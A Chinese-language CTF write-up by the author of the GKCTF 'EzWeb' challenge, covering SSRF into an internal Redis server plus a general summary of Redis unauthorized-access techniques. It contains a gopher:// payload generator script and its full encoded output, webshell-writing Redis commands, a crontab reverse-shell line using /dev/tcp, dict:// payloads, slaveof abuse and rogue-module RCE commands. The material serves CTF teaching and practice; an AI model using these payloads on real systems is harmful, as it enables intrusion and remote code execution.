GKCTF-EzWeb+redis未授权访问

GKCTF-ezweb

我把docker打包到github上了
https://github.com/w4aaaander/CTF
感觉出的简单了...
考点:

  • 内网探测
  • ssrf+redis未授权

源码中注释了?secret
图片: https://uploader.shimo.im/f/hYfrOreyCFPIue26.png
访问可以得到当前靶机的ip
图片: https://uploader.shimo.im/f/uzBmL8pT8Ux5q8av.png
看到有不少师傅去开buu上的内网机做,这里实际上是一个 web服务器 和一个redis 服务器组成的一个内网,是独立于单容器的内网,并且自动组网(来自赵总的解释),所以直接开内网机并不能访问到靶机,直接用ssrf会快得多(当时出题没考虑到结合buu的这个特殊性,在这里给各位师傅们谢罪...逃)

并且这里过滤的其实不严格,我多此一举的在file:后面加上了//,导致用file:/也可以读文件,这也是我的疏忽
在这里插入图片描述
继续,通过内网探测可以发现.11上开着web服务
图片: https://uploader.shimo.im/f/8CAlhDVH1Czrx4nC.png
根据提示进一步发现.11开着6379端口
图片: https://uploader.shimo.im/f/eiv59UdXATjKwrSH.png
然后可以利用gopher://协议写shell,可以用如下脚本生成exp

import urllib
protocol="gopher://"
ip="173.51.38.11"
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd


if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

图片: https://uploader.shimo.im/f/Lq7WDyYDM7fZKfyN.png

gopher://173.51.38.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

打过去再次访问.11/shell.php即可
图片: https://uploader.shimo.im/f/z2hRMrfSu19R9tGv.png
第一次出题感觉确实拉跨了,原来想着考主从的,但是考虑到buu内网不是那么方便就直接开了web服务让师傅们写shell了,并且可能我没说清楚这题的特殊性导致很多师傅走了弯路,si ni ma sei

下面做了点小总结

redis未授权访问

一般来说如果redis暴露在公网并且没设置密钥保护就可能造成redis未授权访问

常见的方式有直接
写shell

> flushall
> config set dir /var/www/html
> config set dbfilename shell.php
> set webshell "<?php phpinfo();?>"
> save

在这里插入图片描述
在这里插入图片描述
或者写定时任务:

> flushall
> set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n'
> config set dir /var/spool/crontab/root
> config set dbfilename root
> save

但是上面的方式是直接进当前靶机操作的,如果比如想从kali上redis一个ubuntu,可以用
redis-cli -h ip
在这里插入图片描述
但是redis.conf如果中设置了bind ip ,那么这种方法就行不通了
在这里插入图片描述
在这里插入图片描述

ssrf+redis

例如我能通过某种手段对靶机进行ssrf,那么就可以用Gopher://协议或dict://协议对redis进行操作

gopher://

先来看gopher吧,因为数据比较特殊,可以在本地通过socat进行监听数据

下面的意思是访问2221端口实际上访问6379端口,相当于一个流量转发吧

root@ubuntu:~# socat -v tcp-listen:2221,fork tcp-connect:localhost:6379

redis写shell时加上- p 2221即可抓到真实数据流

> 2020/05/14 05:34:08.033689  length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2020/05/14 05:34:08.036252  length=5 from=0 to=4
+OK\r
> 2020/05/14 05:34:08.038985  length=54 from=0 to=53
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
< 2020/05/14 05:34:08.042783  length=5 from=0 to=4
+OK\r
> 2020/05/14 05:34:08.044651  length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
< 2020/05/14 05:34:08.048444  length=5 from=0 to=4
+OK\r
> 2020/05/14 05:34:08.050381  length=53 from=0 to=52
*3\r
$3\r
set\r
$1\r
1\r
$26\r
<?php system($_POST[0]);?>\r
< 2020/05/14 05:34:08.052386  length=5 from=0 to=4
+OK\r
> 2020/05/14 05:34:08.054277  length=14 from=0 to=13
*1\r
$4\r
save\r
< 2020/05/14 05:34:08.056068  length=5 from=0 to=4
+OK\r

redis中

在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。

那么我们就需要将以上数据转换成对应的格式,脚本如下

f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
        line = line.replace(r"\r", "%0d%0a")
        line = line.replace("\n", '')
        s = s + line
print s.replace("$", "%24")

或者先知上有直接生成的脚本(这个比较推荐):https://xz.aliyun.com/t/5665#toc-3
我贴在上面的ezweb里了,就不复制了

这样跑一下就能生成gopher协议的exp了

dict://

dict这个协议同样跟gopher性质类似,操作起来更简单一些
使用方法如下:

dict://172.24.0.3:6379/config:set:/var/www/html
dict://172.24.0.3:6379/config:set:dbfilename:shell.php
dict://172.24.0.3:6379/set:webshell:"<?php phpinfo();?>"
dict://172.24.0.3:6379/save

如果有回显会返回ok,如下:
在这里插入图片描述
但是这时候去看一下redis靶机的shell会发现没有写入,或者干脆是乱码的形式
在这里插入图片描述
这时候就需要使用主从复制slaveof了,前提是两台服务器互通
在这里插入图片描述
首先在靶机上设置主从服务器

dict://172.24.0.3:6379/slaveof:ip:6379

这个时候靶机就从属与我们的主服务器了,并且会复制主服务器的信息

可以用info查看以下主从服务器信息:
>info
在这里插入图片描述
可以看到slaveof成功连接,接下来先设置shell:
在这里插入图片描述
然后此时进入靶机容器,get webshell发现成功复制shell
在这里插入图片描述
然后需要断开主从
dict://127.0.0.1:6379/slaveof:no:one
接下来就跟上面的一样

dict://172.24.0.3:6379/config:set:dbfilename:shell.php
dict://172.24.0.3:6379/set:webshell:<?php phpinfo();?>
dict://172.24.0.3:6379/save

此时完美写入
在这里插入图片描述在这里插入图片描述

redis加载so文件

除了上述两种写shell外,slaveof还能加载so文件getshell
貌似需要redis版本>5
在这里插入图片描述
在这里插入图片描述
网鼎杯玄武组的一道ssrf也是用了这个思路:
在这里插入图片描述
这里我用kali作为攻击192.168.190.169,ubuntu作为靶机192.168.190.153

首先ubuntu主从上kali
在这里插入图片描述
kali下info查看主从
在这里插入图片描述
确保连接成功后就可以用exp打了,用第一个的脚本,第二个的so
https://github.com/Ridter/redis-rce
https://github.com/n0b0dyCN/redis-rogue-server

python redis-rce.py -r 攻击ip -L 靶机ip -f exp.so
在这里插入图片描述
Reference:
https://xz.aliyun.com/t/5665#toc-3
https://www.t00ls.net/articles-56339.html
https://www.cnblogs.com/paperpen/p/11178751.html

posted @ 2020-05-25 20:06  W4nder  阅读(1345)  评论(0编辑  收藏  举报